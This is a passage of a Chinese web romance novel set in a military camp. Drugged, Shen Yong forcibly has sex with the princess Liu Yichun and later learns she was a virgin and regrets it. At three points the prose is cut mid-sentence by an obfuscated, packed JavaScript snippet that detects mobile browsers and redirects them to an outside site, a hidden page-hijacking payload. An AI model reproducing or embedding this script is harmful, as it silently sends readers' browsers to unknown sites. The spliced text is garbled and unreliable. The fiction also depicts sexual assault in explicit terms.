沈雍也知她明白了眼下的情况,面色更红,说话也不似方才中气十足,“快去。” 榻上的男人稳坐如山,却已开始浑身轻颤,说话的声音也像是被岩浆烫过。 柳忆春明白刻不容缓,下意识要听他的话去把范卢风找回来。 可她到底是两个人中脑子清醒的那个,走了两步就退了回来。 “如果找他有用,他方才还会就这样丢下你溜掉吗?” 这话一出,帐内瞬间安静。 柳忆春向他提议:“要不另外去给你找个人来?或者你干脆自己动手丰衣足食算了。” 但这话却不知为何踩中了他的雷点,一双已经开始涣散的眼睛涌上些轻蔑,紧紧攫住她。 “果然,在你心里,这种事情和谁都可以做,是吗?” 柳忆春也有些生气了,她难得好心认真向他提议,结果这人脑子抽了又跑来指责她。她懒得再和他废话,转身就要走。 “那你自己想办法吧!” “站住......” 身后传来的声音又弱了些,尾音被不受控的喘息震颤得有些色气,柳忆春如他所说收回了迈出的脚步。 “过来些。” 他已自暴自弃地将身上的薄被掀开,衣襟大敞着,露出了饱满的胸膛,一条腿曲起,很好地掩饰了异样之处。 柳忆春转身,站在原地与他对视,直觉此刻的他与方才又有些不同。 潮热为他的俊脸染上薄红,而他的眼里突然翻涌了些她看不懂的东西,带着安抚,却让人根本无法忽略隐藏其下的波涛汹涌。 山雨欲来,有些危险。 “你原本的腰带呢?” 他像是第一次睁眼瞧她般仔细打量,视线所过之处,让柳忆春无端觉得像被烫到。 她有些不解地低头,发现自己今天穿的衣服明显不是一套的,腰带与衣裙是两个不同的花色与颜色。 但她一向不注意这些,也不知道他又发什么疯,便一脸不解地答:“不知道啊,银画收起来了吧。” 沈雍却在心里冷哼,她不知道,他知道—— 在尉迟丰的马鞍上。 方才便觉得她这身衣服眼熟,这个女人,果然还是将他的话置之耳外,短短时日便将尉迟丰也勾到了手。 沈雍的心里突然涌上一股被人背叛的强烈失望与恼怒,像是本就滚烫的岩浆中被人投入了一个火把,爆发出数倍高的火焰。 怒火与炽热的体温一同灼烧着他,从身到心都火热窒闷,沈雍愈发觉得头脑发热,连呼吸都无法控制,变得粗重又杂乱。 她是怎么引诱他的呢?像对他那样,抱他、吻她,甚至拿着他的手往自己身上放吗? 腰带都落到了尉迟丰的马上,他们发展到哪一步了呢?怕不是,已做过野鸳鸯了吧...... 这个水性杨花的公主,果真不值得他百般退让、万般怜惜。 柳忆春见他愣愣地盯着自己的裙子出神,浑身紧绷,却颤抖得更厉害,像一座即将崩塌的雕塑,莫名其妙之余,不禁有些担心,总不会真的憋出毛病了吧? 他的长发披散几缕,遮住了他低垂脸庞上的神情,柳忆春怕他立马就要栽倒到床下,连忙上前去看。 不料,甫一走近便是一阵天旋地转。反应过来时,已被他滚烫的身体紧紧压在身下。 柳忆春惊呼,“你没事吧?” 她试着去推他结实的身体,却被他快速握住手腕按在头顶,随之而来的**让她恨不得破口大骂。 艹! 枉她害怕这人憋到极限晕过去,结果居然还是要拿她发泄,那最开始那副嫌弃她的贞洁烈夫样子摆给谁看的啊? 柳忆春很不舒服,双腿不停地磨蹭床面,却只是蹭掉了脚上的鞋子。 而他似是不满她的扭动,干脆将她的腿搭上自己的肩,于是她被固定得更死。 衣物一件件被抛出床榻,床帐也在二人你来我往的挣动之下解开半帘,一时间,帐内只余布料窸窣与粗重的呼吸声。 柳忆春习惯性地咽下痛呼,眼睁睁看着自己所有的挣扎如同身上的衣物一样被他一一消解,连一丝反抗的余地都没有。 这对吗? 就算要她帮忙,那是不是也该礼貌一点啊,凭什么是这副恨不得把她弄死的架势! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694230|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她一直在抗拒,沈雍露出似委屈似恼怒的表情,动作也愈发放肆,直让柳忆春一下一下地被顶得上移,一直到脑袋抵住床头,退无可退。 他腾出一只手护住她的头,俯身下去,热气喷薄在她耳边。 “他们都可以,难道我就不可以吗?” 也不知是不是开始神志不清,他接着状似呢喃道: “从你不知死活地吻我那天起,就该想到,迟早会有这一天的......” 柳忆春被他逼得眼泪直冒,无暇理会他莫名其妙的话,攒了一口气断断续续地咬牙切齿道: “你现在,最好是,因为药物影响......”如果他是在借机向她报复,那她一定要找机会报复回来! 一定! - 范卢风步履匆匆地回到自己的营帐,床榻上仍死死绑了个女人。 “你不向我透露解药的信息也无妨,王上的毒我已经解了。” 他立在床畔,没好气地向她宣告,似是在为自己争一口气。 郁冬全身上下能动的只有脑袋,闻言偏头看他一眼,满脸写着不信。 “哦。” 范卢风见她冷淡,忍不住说风凉话,“倒是你,身上的毒快发了吧?你背后之人如此待你,哪里值得你如此效忠?” 郁冬冷硬的脸忽地柔和了些,甚至浅浅勾起了唇角。 范卢风再次从她眼中看到了类似于关爱小朋友的嘲笑。 “!” 的确,这种话八百年前就过时了。 他承认他话里的挑拨过于明显,可他也受不了她如此直白的眼神。 “吃药。” 范卢风没好气地往她嘴里塞进一颗药丸,见她吃得干脆,没忍住问:“不怕我害你?” 郁冬似是嫌弃他絮叨,径直阖眼闭目养神。 嘿,这个女人。 范卢风想起昨夜。 彼时沈雍毒发,面色灰白,唇色青紫,好不骇人。 未免生事端,这个消息被牢牢封锁了起来。 他没见过那等猛烈的寒毒,当下只能先封住他的经脉,再来找这女刺客探探消息。 不料,等他走到关押她的地方时,只见牢门大开,内里已是空荡荡。 他下意识以为她逃掉了,茫然地走了两步,不远处却隐约传来女人的闷哼与男人轻佻的笑。 他连忙赶去,正巧撞见了那惨烈的一幕。 是陆峰。 他怎么敢!王上定下的军律是摆设吗? 可下一瞬他又反应了过来,俘虏而来的敌人并不在其保护范围之内。 他终是救下了她,还把她带回了自己的营帐。 然而,任他如何软磨硬泡,她始终一言不发,不透露任何线索。 他本以为她昨晚是因为那恶心的事才那般缄默,不料她似是本性就这般冰冷,又是一天过去了,她对他说过的话统共只有方才那句“哦”! 救沈雍的方法他并非没谱,但还有些没底,若能从她口中得到些消息,自是最好,若不能,那他也只有铤而走险自己一试了。 结果是显而易见的,他并不是审讯的好手,铤而走险的副作用也已显现了出来。 但好在,昨夜他为她处理伤口的时候,意外看到了她腕上一朵奇怪的梅花印,像是毒,把脉一看,才发现她的脉象与沈雍颇有些相似之处。 也正是因为从她身上得到了些提示,如今沈雍身上的副作用才被压缩到了最小。 范卢风靠在桌案边休息,有点心虚地摸了摸下巴。 不过是需要与他的夫人春风一度,将多余的药量散掉,应该不至于气得砍了他吧? 范卢风看了眼已经完全暗下的天色,估摸着时间朝沈雍的主帐走去。 31. 巴掌 柳忆春醒来时,身上痛得厉害,身侧的沈雍仍未清醒,源源不断地挥发的热量让她觉得自己也有些过分地烫。 想起方才的事情,她仍是气不过。 哪有人能粗鲁成那样?她简直像是锅里被炒的肉,而这个人就是可恶的颠勺的手,谁喜欢这样被架在火上翻来覆去地烤啊! 越想越气,柳忆春撑起身,没忍住照着他沉睡的脸就是一巴掌,用了十足的力道。 啪—— 清脆的响声回荡在帐内。 睡了一觉,她恢复了不少力气,沈雍被她打得立刻转醒。 侧脸火辣辣地疼,沈雍睁开眼时,怒容满面的柳忆春堪堪翻身下榻。 “站住!” 任谁被一巴掌打醒脾气都不会太好,沈雍朝柳忆春伸手,却抓了个空。 帐内混乱得厉害,半散的床帐、四散的衣物、皱得像咸菜一样的床褥以及久久不散的气味,都在提醒着他方才发生了什么。 而她步履虚浮,长发散乱,正随意给自己披上衣服打算往外走,斑驳的细腻雪肤在动作间一闪而过。 柳忆春完全没有理会他,迈步走时却忽然腿软得跌倒在地。 沈雍撑坐起来,快速披上衣服下榻将她拎起来,圈住她手臂的大掌颇用了些力。 “你真是胆子肥了!” 柳忆春借着他的力站稳,对他怒目而视,“道貌岸然的狗东西!” 出口毫不留情,话语却因她沙哑无力的声线削弱了不少攻击力。 她也察觉到了自己嗓音的不对,不想让自己的气势弱了,接着就是另一巴掌呼向他的脸颊。 沈雍这次有了防备,一手便制住了她跋扈的掌。 两人无声对峙。 柳忆春面色潮红,柳眉倒竖,双眼红肿,松散的衣襟露出几分靡艳的春色,浑身的轻颤顺着她的手腕传到沈雍的掌心。 很烫。 第一次见她对自己展现出如此尖锐的一面,沈雍不可说不意外。毕竟这么久以来,就算他让她不开心了,也顶多是指着他鼻子骂,这次却要连扇他两巴掌。 看来是真的生气了。 ......不过她有什么资格生气? 生杀夺予本就在他一人,从前他对她已是多有纵容,她却偏偏要一次次挑战他的极限,还四处勾引别人。 他不过是要了她身子而已,她也不是什么黄花大闺女,凭何对他如此蛮横? 这么想着,沈雍一把将她掼回床榻,惹得她一阵痛苦的闷哼。 “别以为我不会教训你!” 柳忆春脑中的眩晕感更重,好一会儿才缓过来。 “——王上,发生什么事情了吗?” 竟是范卢风的声音。 沈雍扬声,“何事?” “容属下为您再诊一次脉。” 沈雍俯身为柳忆春整理好衣裳才道:“进来。” 范卢风闷着脑袋进帐,身侧背着药箱。 正准备为沈雍诊脉,却见柳忆春皱着脸慢吞吞从他身后爬出来,一言不发地翻身下榻,步履艰难地走向帐外。 范卢风见她神色萎靡,一时有些为难,“这是怎么了?” 沈雍察却冷声吩咐:“不必管她。” 嘶,这俩人,怎么感觉睡一觉反倒睡出仇了呢? 到底是三军主帅更重要,范卢风落座垂眸为沈雍诊脉。 银画见柳忆春久去不归,早已等候在主帐附近,此刻见她终于出来,状态却不太好,连忙上去扶她。 见了她,柳忆春立时虚脱般将大半重量都卸了过去。 “扶我回去......” 银画在见到柳忆春的第一眼就察觉出她的不对劲,在她靠过来时更是感觉她身上烫得吓人,此刻听到她沙哑虚弱的声音,眼泪一下子便不受控制落了下来。 “奴婢背您!” ...... 帐内,范卢风很快便有了诊断结论。 “王上的毒几乎都拔清了,只是身子还有些虚,休息一晚应该就没什么大碍了。” “嗯。” 范卢风终于长松一口气,“可算是让您醒过来了,等您活生生出现在众人面前,高阳王散布的谣言也就不攻自破了。” “你不知道,这两天尉迟丰急得快把我杀了!” 他并不常过问军政事务,如今眼下青黑异常明显,还发出这番感叹,想必是被逼急了。 听他提起尉迟丰,又想起今日的小小副作用,沈雍决定大度地不去与他计较。 “这两日辛苦你了,早些回去歇息吧。” 范卢风抬眼,悄悄瞥向沈雍脸上明显浮肿的巴掌印,犹豫着要不要再给他拿一些消肿的药。 这打量的一眼被沈雍尽收眼底。 “怎么,还有话要说?” “!” 范卢风连忙摇头,飞快退出了主帐。 周围复又归于安静,沈雍转身整理床榻,于角落处捡起一小块月白色布料。 是她的小衣。 上面染了些污浊。 顺手将它捡起走到后室,沈雍仔细搓洗起来。 掌中布料柔软,让他不禁想起方才那绵软触感。 昔日只会入他梦的女子,今日入了他的怀,一切像是做了个绮丽的梦。晚间发生的一幕幕不听话地在他脑海中浮现,连他自己都未察觉到自己唇角微扬。 将清洗干净的小衣晾晒起来,晚风拂得它斜斜飞起,轻风带来的凉意让他脸侧巴掌印的灼痛愈发明显。 于是猛地回神。 他这是在干什么! 当初掳了她来,不过是想报复她而已,可事情一步步脱离轨道不说,难道这也是报复她的计划一环? 这人水性杨花、蛮不讲理,还胆敢趁他昏睡扇他巴掌,他未与她计较就算了,如今竟为她搓洗小衣,若是被人发现简直颜面尽失! 沈雍心中气闷,取下小衣,用了十足的力往丛中一扔,头也不回地走回了帐内。 大敌当前,还有正事需要处理,沈雍平复了一下心情,召来刘伯俭、尉迟丰等心腹商讨局势、定下计策—— 将计就计,隐瞒他并未身死的事实,并刻意不去安抚离敌军最近的两个军营,让高阳王得以探得“沈军大乱”,并以为自己胜券在握。 一旦他得意忘形,轻敌出兵,他就可以用最小的代价拿下高阳邑。 而其间他一次又一次意味深长的幽暗视线落在尉迟丰身上时,几乎让这位战无不胜的年轻将军冷汗冒到怀疑人生。 - 第二日,卫大娘一早便照常去伙食营做活。 小五见她来了,如往常一样笑眯眯地凑上去。 “骊姨,您来啦。” 卫大娘本名叫卫骊,但军中众人早已习惯了“卫大娘”这个称呼,知道她本名的反倒少之又少。 小五是四年前在洛都被沈雍救下的。那时他刚收拢舒阳长公主的势力,尉迟丰也加入了他的阵营,沈雍没空照顾瘦得只剩皮包骨的十来岁小少年,就将他拜托给了尉迟丰的母亲。 后来,沈雍东征西战,势力范围越来越大,卫大娘每每都是随军伙食营的一把手,小五便也常年跟着她在伙食营做活。 见小五一如往常笑眯眯的样子,卫大娘不安的心落地稍许。 前日夜里敌军的一场突袭搞得人心惴惴,昨日就有流言甚嚣尘上,偏偏王上还仿佛印证了那个流言一般,一直未露面。 昨晚见柳忆春不省人事地回来,她心里就有不好的预感,问银画那丫头,也说从主帐回来却没见到王上。 心中焦虑,她又去问自家儿子,那小子迟疑片刻,最终也只是语焉不详地安抚她。 明显就是有事! 三军不可一日无帅,眼看着大业将成,怎可毁在高阳王这种鼠辈身上?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702910|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 卫大娘的心怎么也平静不下来。 小五似乎也看出了她的不安,乖巧地开口问道: “骊姨,可是发生什么事情了?” 卫大娘不好与他多说,勉强挤出了个笑脸,“别担心,沈军一日不散,咱们就得做好一日手头的事,先做活去吧。” 小五温声应道:“好,您也别思虑过重。” 卫大娘心不在焉地点点头,完全没注意到他明显比平日苍白的脸色,也没有注意到他眸中闪过与平日全然不符的沉重思虑之色。 难道沈雍真的死了? - 眼下唯一需要做的事情,就是等高阳王出兵。 沈雍不便露面,醒来时天色尚早,连忙趁着四下无人掀开主帐门帘透气。 不料,这一掀帘居然瞧见了行色匆匆的范卢风。 “怎么了?” 范卢风听见他的声音,停在帐前,看向他时神色有些古怪。 “回去拿药。” 沈雍被他看得有些莫名,“给谁的药?这么急。” 范卢风干脆撇下他,直接大步往自己的营帐走去,语气很冲,“你的柳夫人!” 沈雍察觉不对,快步跟上了他。 “她怎么了?” 范卢风深吸一口气,斟酌着开口,“昨日给你的用药量我知道,不至于那般重吧?你......” 沈雍眉头不由紧蹙,“把话说清楚!” 范卢风顿住,一贯笑眯眯的表情不再,开口时满是自嘲与茫然。 “我是一个医者,应当对人命一视同仁才对,昨日竟想出用她救你的昏招,还觉得理所当然,我真是变了,医者不该这样的......” 沈雍听出事情不妙,“先去拿药救人,这些话等会再说!” 语毕,他干脆抓着他快步回他的小帐,全然不顾自己此刻不应当出现在众人面前。 但好在,沈雍、范卢风以及柳忆春的帐篷同属于军营中少有人来的后方区域,一路上除了他们,并未碰上什么人。 女帐外,一切交待完毕后,沈雍提溜着范卢风停在一侧,面色阴沉,语含质问。 “怎么会这样?” 在见到柳忆春的那刻,他才惊觉先前范卢风的反应并非夸张,很难形容,面白如纸与面色潮红会出现在同一个人的脸上。 昨夜还生龙活虎扇他巴掌的人,今日竟这般无声无息地卧在榻上,沈雍看着,没来由心口一窒。 范卢风瞥他一眼,随即轻讽。 “你体内多余的热毒排出时,若没有表皮破损,不会对她有半分影响。” 想起昨夜的毫无顾忌,沈雍猛地攫住范卢风,却听他继续说道: “公主一个未出阁的女子,当初被你那般虐待,我还道你再怎么也解恨了,没想到你居然对一个女子狠辣至此......” “我是见宫宴那晚柳夫人那般自然地入你的帐,昨日才会才请她来,要是知道你背地里仍在拿她撒气,我范卢风万万不会用出这等昏招!” “明明可以给你用别的药散掉多余的药性,只不过会让你恢复得慢些、身子多虚弱几日罢了,可叹我想出来的‘两全其美’法子竟让一个弱女子平白遭难。” “你的命自是重于泰山,可她也是活生生的人啊,我......” 看见沈雍石化的表情,范卢风深吸两口气,尽量让自己冷静下来。 二人之间安静了半晌,他再开口时语气艰涩。 “对不住,是我失态了,这件事我和你一样该死......” 说罢,范卢风就要离开,但还未迈出一步,便被沈雍用力拽了回来,钳在手上的力道之大,像是在臂上用绳索悬空吊了块巨石。 他正不解,却见沈雍神情欲裂,下颌紧绷,黑眸中翻滚着厚重的情绪,一个问句自他喉间艰难挤出。 “你说,她未出阁??” 32. 释怀 范卢风听见此问却忽地笑了,带着嘲,“沈怀聿啊,你当年因着舒阳长公主一事开始恶心女人,对女子的身体所知甚少很正常。可你总该知道,女子那处是能生孩子的吧?” “若非未出阁,怎会因剑柄就伤成那样,你自己为她处理的伤口,难不成忘了?” 沈雍既是他的上级,也是他多年的好友,见他忽然脸色惨白,眼中似痛带嘲,整个人都摇摇欲坠,他也不知该说什么好。 “唉,别再让我医被你伤到的她了。” “以前的沈怀聿不是这样子的......” 语毕,徒留沈雍一人立在原地,似山巅屹立久经风霜的岩石。 沈雍的脑海里闪现过很多画面,心乱如麻,怎么也理不顺。 她怎么会没有与楚珣成亲?老皇帝不都早早给他们赐婚了吗? 若真是如此,那他所做的一切算什么? 虽然恨她出面污蔑沈家,也的确想羞辱她,可他从未想过要以这样一种残暴的、近乎屈辱的方式夺掉一个女子的清白...... 这算什么! 一阵眩晕向他袭来,让他有些站立不稳,扶着外帐,余光瞥见银画一瘸一拐端着水盆出来,沈雍招手唤她至眼前。 见了他,她有些惊讶。 但兴许是主子的样子让她过于揪心,一向胆小的银画此刻竟也没对沈雍摆出什么好脸色。 “参见王上。” 沈雍沉默着。 从前不敢问,是怕得到答案自取其辱,如今却是不得不问了。 “公主与驸马,平日里相处如何?” 银画闻言,满脸疑惑,“公主尚未出降,哪来的驸马?倒是先皇为公主与楚公子赐了婚,但又舍不得公主,说要等到公主年满二十再嫁。” 事实摆在面前,沈雍的面色又白了几分。 默了半晌,再开口时他的语气愈发涩然,“那你可知她为何得了这个赐婚?” 银画眉头皱了皱,面色有些古怪,“这个奴婢就不知道了......” 沈雍自是察觉了出来,“说。” 他的语气很轻,银画没来由打了个寒颤,“是奴婢无意间听金罗说的,嗯,金罗也是贴身伺候公主的宫女,她说,这是娘娘和公主一同去求来的恩典......” 空气变得愈发沉滞,银画快要呼吸不过来,心脏跳得极快,在沈雍面前聊先帝赐婚实在不是个好话题。 就在她惶恐得快要磕头的时候,沈雍终于再次开口,“她与楚家那人感情又如何?” 这次银画回答得很快,“奴婢不知,他们几乎不见面。” 行吧。 沈雍又想起什么,“近些日子,她与尉迟丰可有交集?” 听到这里,银画并不敢对他做隐瞒,小心翼翼地告诉了他。 “公主偶尔会找尉迟将军学骑马。” 那腰带的确是系在马鞍上的...... “只是骑马?” 银画听他语气中的压迫感骤然变强,仰头连声回答:“千真万确,奴婢一直陪着公主的!” 看见她眼里的恳切,沈雍没再为难她。 “起来吧。” 银画垂着头踉跄着起身。 “腿怎么了?” 见沈雍居然问起她,银画有些惊惶,“昨晚背公主回来时,不小心摔了......” 又是一阵沉默。 银画小心翼翼地觑向沈雍,只见他面色沉郁灰败,向来摄人的深邃眼眸垂了下去,不知在想什么。 就在她想适时退下时,眼前的人忽地像一阵疾风般刮进了营帐,只留下一句话缓缓飘来。 “随我去主帐。还有,不许向任何人透露我还活着的事。” 银画在心里叹一口气,末了,认命般乖乖去收拾东西。 沈雍将榻上的人轻轻抱进怀中的时候,似抱进了一个火炉。 怎的昨晚没有察觉到她的异常? 不,他明明察觉到了,但被忤逆的恼怒让他选择置之不理。 胸口的窒闷感越来越强,他不由得将她抱得紧了些,大步迈向自己的主帐。 银画则在后头艰难地跟着。 似是察觉到了身后脚步的费力,沈雍偏头吩咐,“你不必急,慢慢收拾全东西过来也是可以的。” 没料到他竟会将自己的伤也看在眼里,银画瞬间愣住。 不待她回话,沈雍已快步离开了。 将柳忆春在自己的帐内安置好,沈雍再次将范卢风薅了过来。 “说清楚,现在要如何医治她?” 沈雍一醒,那女刺客已被带走严刑拷问,他心里本就不知为何闷得慌,后来又被唤去为柳忆春诊治,心情更加低落。 此刻,他对着沈雍自然也摆不出什么好脸色,只含糊地答。 “慢慢将热毒散出来吧......” 沈雍皱眉,“如何散?可会危及性命?” 范卢风有气无力,“有我在,你就不用过多操心了。” 面对好友的隐隐抗拒,沈雍心里也不是滋味,不过此事确是他的错,他并非拿得起放不下的性子。 “此事的确是我的不是,你告诉我法子,能帮她减少些痛苦也是好的......” 难得见沈雍低头,范卢风终是不再消极抵抗。 “唉,男子与女子的体质终是不同,在你身上不算什么的热毒,到了她身上却厉害百倍。这些日子,除了每日喂她我配的药,可以多为她喂水、擦拭身体散热。” “剩下的,就是等她醒了。” “届时,她的膳食我也会专门配制,会尽量以最小的代价让她好起来。” “但我要提醒你的一点是,体温长期维持在较高的状态,是有可能烧坏脑子的。万一,我是说万一,你可别赖在我头上。” 沈雍没料到后果这般严重,越听眉头皱得越紧,“怎会如此!” 想起什么,他又问:“不能像我那样为她散掉热毒吗?” 范卢风白他一眼,“男子为阳,女子为阴,且不说她如今伤着,便是能行那事也只会加重她的症状,你就别想这些了,门外汉最忌讳灵机一动。” 沈雍没有因被嘲笑而生气,只是语气淡淡地说: “既然如此,你尽快治好她。” 范卢风神色一凛,气焰弱了些,“唉,我知道的。分我一小撮人吧,我有用。” “干什么?” 范卢风瞥他一眼,没有正面回答,“你不用问,反正是为了柳夫人尽快康复。” 沈雍觑他一眼,没再多问,“好。” 留下一瓶药丸后,范卢风便离开了。 沈雍喂柳忆春吃下,便去端了一盆凉水来。 她依旧是那副无知无觉的样子,掌下的肌肤滚烫,沈雍的动作放得很轻。 衣裳尽褪,入目的一切让沈雍有些不敢面对。腰间与腕上的明显指痕,来自于他。胸前肩颈数不清的红痕青紫,也来自于他。 女儿家的身子如此娇嫩,只扇了他一巴掌,还是太便宜他了...... 他们之间,为何总是这样? 他明明不想伤她的,却总是很容易被她激怒,事后又难免后悔,他自己都觉得自己可笑。 说到底,还是他太懦弱了。 一直不敢承认自己对她在意至极,还怕自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718630|186451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是她众多男人中微不足道的其中之一,所以才那般抗拒她对自己的“轻薄”。 为了维护自己那可怜的自尊心,也不敢去求证那些莫须有的“男人”,白白别扭了那么长时间不说,还总对她发脾气...... 他明明是个极有决断的人,怎么在感情上却这般拿不起也放不下呢? 不能再这样下去了。 绝对不要再这样下去了。 忍住心中汹涌的涩意,他开始仔细为她擦身。 冰凉的湿帕触上滚烫的身躯,惹得榻上之人无意识轻哼。 沈雍的心又被揪起,一声低喃在帐中回荡。 “对不起,柳昭昭。” 懿春公主,柳昭昭...... 你怎会尚未成婚呢? 不惜诬陷沈家救下的如意郎君,为何得了恩典又要等到年满二十再嫁呢?哪朝哪代有这样的先例? 榻上女子苍白潮红的脸蓦地与当初冷汗涔涔、目光涣散的苍白脸庞重合在一起,沈雍右手沾过她鲜血的地方莫名泛起灼热。 他忽地想起那日提及驸马时她懵懂的样子,又想起她误吸入梨花香后明显不对劲的行为。 所以,她是真的前尘尽忘,才会连自己没有驸马、极度厌恶梨花香这种事情都不知道。 这么来看,如今的她对当年助推沈家流放之事也应当真的毫无记忆。 实在是可笑。 他总以为她在骗他、愚弄他,甚至在气急的时候还伤过她。 到头来,这一切都是他一个人的独角戏! 而懵懂无知、一心求死的她,又为此受了多少伤害,他已不敢细想。 罢了。 他不想再执着了。 当初沈家之祸,罪魁祸首在于那是非不分的老皇帝和狂傲自大的楚珣,无论那个站出来做伪证的人是不是她,沈家恐怕都在劫难逃。 就算她当初是因为心悦楚珣才选择作伪证去救他,他也不想计较了。 如今他已对她进行过足够重的报复,甚至可以说过重了。至于她能不能记起来,他能不能得到她的忏悔,都不重要了。 毕竟,他对这件事在意至此,也不过是因为站出来的那人是她而已。 既然她已忘却前尘,那他们不如正好重新开始。 沈雍苦笑,满眼都是自嘲,以这样一个开局,重新开始...... 他俯下身去,将额头抵上她的掌心,似是想从她的体温中寻求片刻心安。 但额前的那一小块细嫩的肌肤之上,布满了细密的掐痕,他甚至可以想象她是如何在受不住的时候掐出来的。 于是短暂的心安顿时被止不住的心疼挤压殆尽。 唉,这个笨蛋,为何偏生痛的时候不爱出声呢? 沈雍再无法心安理得地靦着脸守着她。 正巧银画带着整理好的行李赶来,他立刻吩咐道: “你来照顾她,我出去一趟,记得给她喂水擦身。” 银画看向轻纱遮掩的柳忆春,正色道:“奴婢遵命。” 沈雍知道范卢风有事情瞒着他,也明白他这么做也许是因为假死一计使出后他不便再出面。 可没办法,如今他满脑子都是柳忆春受热毒侵蚀的样子,此事不结,他根本没有心思考虑其他。 而且,只要不失心疯似的直接去高阳王面前晃悠,他有的是办法在自己的领地里隐匿踪迹。 于是从那群士兵见鬼般的眼神中打听到消息后,沈雍想也未想便纵马飞驰而出。 贺风山,冰魄草...... 还行,不过往西十余里地的路程。 他一定会为她带回来。 33. 道歉 高阳王在等,等沈雍身死的确切消息。 两日前派出的兵被打得落荒而逃,没关系,至少探到了对方的兵力与布阵,还让沈军放松了警惕。 毕竟,晚间的刺杀才是重头戏。 为此,他可是派出了不少死士营的顶尖高手。 两日了,他们一个都没回来,他也并不意外,毕竟死士一旦被抓便会咬破口中的毒药自尽,而这种刺杀行动难免会折几个人。 最重要的是,人有没有被杀死。 当晚他便得到了消息,说刺客被尽数斩杀,而军中一片平静,全军上下与平常一般无二,仍是平稳运行着。 所以,刺杀最终还是失败了? 但他还是有些怀疑,他派出了这么多顶尖高手,武器上还下血本淬了世间罕见的寒毒,不求一击毙命,只要让那沈贼见一点血就可以毙命。 居然还是失败了? 他很想知道“军中一片平静”的背后,沈雍到底死没死,可惜他安插的棋子实在是个没本事的。 四年了! 那么好的筋骨,不好好表现争取留在沈雍面前当个亲卫,居然还没出息地混在军营外围。 能打探到什么有用的消息! 气得他当即便驱动了蛊虫,给那小子略施惩戒瞧瞧,同时也传信回去,要求他有新的消息了务必再报。 眼下还没收到他的消息,就只能派其他人往军营里再探。 沈军在原地休息了两日,毫无攻城之意,也无拔营的意图。 他还是愿意相信,派出的死士虽然全军覆没,但说不定也拼死一搏杀掉了沈雍。 无人回来报信,毫无动静的沈军便是最明显的消息。 毕竟,大军若群龙无首,难免发生动荡,想必他们正勉力封锁消息平衡内部势力,否则以沈军的兵强马壮,被他连番挑衅,不得立刻出兵荡平了他这高阳邑去? 他可是听说了,前些日子幽州王不过派人刺杀过沈雍一次,第二日他便出兵将幽州打穿了。 再者,他在行刺第二日便放出了沈雍身死的消息。战事中军心为重,他就算只有最后一口气也得撑着在众人面前露面,稳住军心才对。 而他打探来的消息显示,对方虽极力掩饰,但大军已有些人心浮动,最外围的两个军营甚至个个士兵都笼罩上了焦虑神色。 这么来看,沈雍遇刺身死的可能性极大。 他出兵退敌的时机也显然已成熟! 然而,如今却并非他想如何就能如何——有人早在五日前便来到高阳邑“助他谋划”。 金碧辉煌的正堂之中,坐于高台的高阳王看起来约莫三十有余,身体却如同死掉的越帝一样肥胖。 一番思虑罢,他有些烦躁地问向堂下之人: “马大人,难道还不到出兵的时机吗?” 马韬端坐于下首,正端起茶盏细品,闻言一笑,“殿下不必心急,眼下敌军未动,待探明沈贼当真身死再动手也不迟。” “况且,敌强我弱,能守住高阳邑、尽可能多消耗他的粮草,此役之功已成。” 高阳王见他这幅胸有成竹的模样,心中有些不屑,都已经这样了还不行动,皇兄派来的人当真能用吗?不会是个缩头乌龟吧? 而且,让他一味守城算什么事,杀掉沈贼才算是大功一件! 唉,但对方好歹带了皇兄的亲笔手书来,他一向对皇兄深信不疑,眼下的战局也非同小可,还是给点面子先听他的吧。 “也行,还是马大人沉得住气。” 听出他画中的隐含的轻嘲之意,马韬也没说什么,朝他微微拱手示意便结束了对谈。 - 第二日清晨,天尚未亮,范卢风就被人从被子里薅了出来。 “起来,冰魄草带回来了。” “哦。”竟是又要倒下去睡着。 沈雍看不惯他这副总是睡不醒的样子,复又将他拎起来,一把扔到桌案前。 “醒醒!” 范卢风一大早被吵醒,心情很差,可待听清是谁的声音后,浑身一凛。 “你说什么?” 抹了把脸,范卢风看向眼前的人,双眼通红,胡茬浅浅,束起的头发也掉了几缕下来,身上的衣袍更是脏得没眼看。 怎么是他带回来的,敢情他白瞒着他了? 而且眼下的局势,他大摇大摆地出去找草药真的合适吗! 范卢风简直是无话可说,每次都是,把人伤了又上赶着去救,他都替他累得慌。 甩了甩头,他终于清醒些。 朝桌案看去,上面摆放的几株冰魄草根茎完整,叶片饱满,便是不通药理的人也能看出其质量上乘。 范卢风叹了口气。 “行吧,你快去休息,剩下的我来。” 沈雍本就大病初愈,如此奔波一天一夜确实有些熬不住,便没再逞强。 